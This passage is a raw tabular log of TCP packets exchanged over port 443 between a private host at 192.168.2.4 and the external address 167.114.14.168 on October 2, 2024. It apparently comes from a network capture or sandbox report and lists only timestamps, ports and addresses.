Oct 2, 2024 06:10:27.652642965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.652700901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.652709961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.652750969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.655428886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.655457020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.655491114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.655497074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.655519009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.655535936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.656697989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.656724930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.656753063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.656759024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.656785011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.656794071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.657676935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.657692909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.657743931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.657748938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.657783985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.659482956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.659498930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.659543037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.659548998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.659588099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.671921968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.671936035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.671982050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.671988964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.672015905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.672023058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.672389030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.672405005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.672455072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.672461033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.672497988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.742825985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.742849112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.742887020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.742896080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.742922068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.742934942 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.743352890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.743369102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.743413925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.743419886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.743458033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.746119022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.746134996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.746184111 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.746190071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.746227026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.747183084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.747199059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.747237921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.747242928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.747267962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.747286081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.748414993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.748429060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.748481989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.748488903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.748526096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.750271082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.750291109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.750339031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.750344038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.750375986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.762516975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.762533903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.762583017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.762587070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.762623072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.763084888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.763099909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.763145924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.763154030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.763191938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.833446026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.833467007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.833563089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.833569050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.833609104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.834057093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.834074974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.834125042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.834131002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.834168911 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.836823940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.836839914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.836899996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.836910963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.836951017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.837842941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.837860107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.837908983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.837914944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.837953091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.838913918 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.838931084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.838984013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.838989019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.839029074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.840873003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.840889931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.840936899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.840943098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.840972900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.840989113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.853259087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.853275061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.853363991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.853370905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.853413105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.853673935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.853689909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.853744030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.853754044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.853792906 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.924407959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.924431086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.924487114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.924496889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.924530029 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.924549103 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.924835920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.924851894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.924900055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.924905062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.924942970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.927567005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.927582979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.927635908 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.927639961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.927671909 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.928535938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.928550959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.928601980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.928606987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.928646088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.929498911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.929516077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.929568052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.929573059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.929606915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.931641102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.931657076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.931727886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.931732893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.931777954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.943794966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.943810940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.943866014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.943871021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.943907976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.944173098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.944189072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.944240093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:27.944246054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:27.944282055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.014883041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.014899015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.014986038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.014996052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.015037060 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.015455961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.015470982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.015513897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.015520096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.015552044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.015567064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.018116951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.018135071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.018176079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.018181086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.018213034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.018232107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.019119978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.019134998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.019170046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.019175053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.019203901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.019212961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.020231009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.020245075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.020281076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.020286083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.020297050 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.020353079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.022208929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.022224903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.022268057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.022274971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.022315025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.034385920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.034401894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.034446001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.034451008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.034488916 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.034929037 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.034945011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.035006046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.035011053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.035048962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.105962038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.105981112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.106024981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.106034994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.106046915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.106074095 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.106990099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.107002974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.107044935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.107050896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.107086897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.109229088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.109245062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.109272957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.109278917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.109299898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.109308004 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.110405922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.110420942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.110460043 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.110466003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.110477924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.110496044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.111531973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.111547947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.111596107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.111602068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.111639023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.113702059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.113723040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.113751888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.113756895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.113780022 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.113787889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.125428915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.125444889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.125498056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.125504971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.125545025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.126112938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.126127958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.126174927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.126179934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.126216888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.196376085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.196408987 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.196470976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.196482897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.196525097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.196810007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.196825981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.196882963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.196888924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.196997881 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.199546099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.199563026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.199616909 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.199623108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.199723959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.200450897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.200473070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.200511932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.200517893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.200527906 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.200551987 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.201531887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.201550007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.201592922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.201597929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.201611996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.201637030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.203629971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.203658104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.203685999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.203691959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.203707933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.203730106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.215802908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.215821028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.215873957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.215882063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.215987921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.216144085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.216159105 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.216192961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.216197968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.216227055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.216227055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.287090063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.287110090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.287199974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.287206888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.287237883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.287516117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.287533998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.287589073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.287594080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.289268970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.290198088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.290214062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.290265083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.290272951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.291574001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.291574955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.291587114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.291605949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.291618109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.291655064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.291660070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.292237997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.292252064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.292292118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.292300940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.294250011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.294267893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.294298887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.294310093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.294332981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.294358015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.306427956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.306443930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.306504011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.306515932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.306922913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.306941032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.306968927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:28.306973934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:28.306998014 CEST	49744	443	192.168.2.4	167.114.14.168
